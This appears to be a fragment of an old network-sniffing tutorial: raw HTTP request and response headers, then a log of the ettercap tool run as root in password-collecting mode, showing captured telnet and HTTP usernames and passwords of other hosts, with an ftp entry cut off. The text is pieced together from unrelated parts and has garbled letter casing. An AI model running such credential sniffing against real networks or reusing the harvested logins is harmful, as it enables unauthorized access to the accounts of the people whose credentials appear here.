GET /pcedu/script/tITle_edu.js HTTP/1.1.
Accept: */*.
Referer: http://wwwb.pconline.com.cn/pcedu/soft/doc/nt/10308.htm.
Accept-Language: zh-cn.
Accept-Encoding: gzip, deflate.
If-Modified-Since: Mon, 09 Sep 2002 09:18:53 GMT.
If-None-Match: "6f67c-2d5-3d7c677d".
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt).
Host: wwwb.pconline.com.cn.
Connection: Keep-Alive.

HTTP/1.1 200 OK.
Date: Sat, 01 Mar 2003 08:25:37 GMT.
Server: Apache/1.3.20 (Unix) PHP/4.1.2 mod_ssl/2.8.4 OpenSSL/0.9.6a.
X-Powered-By: PHP/4.1.2.
Keep-Alive: timeout=15, max=100.
Connection: Keep-Alive.
Transfer-Encoding: chunked.
Content-Type: text/html.

[root@CIEL root]# ettercap -NCzs
ettercap 0.6.0 (c) 2001 ALoR & NaGA
Your IP: 218.197.248.226 wITh MAC: 00:00:E8:7B:CA:4E on Iface: eth0
Resolving 1 hostnames...
Press 'h' for help...
Sniffing (IP based): ANY:0 <--> ANY:0
TCP packets only... (default)
Collecting passwords...
[QQ] - quIT
[lL] - log all trafic to file(s)
space - stop/cont sniffing

15:52:51 218.197.248.21:1027 <--> 61.114.4.41:23 telnet
USER: root
PASS: root

15:54:53 218.197.248.46:1041 <--> 61.135.132.99:80 http
USER:dalin
PASS:7895865
http://www.sohu.com/

16:13:14 218.197.248.192:2278 <--> 218.197.249.172:21 ftp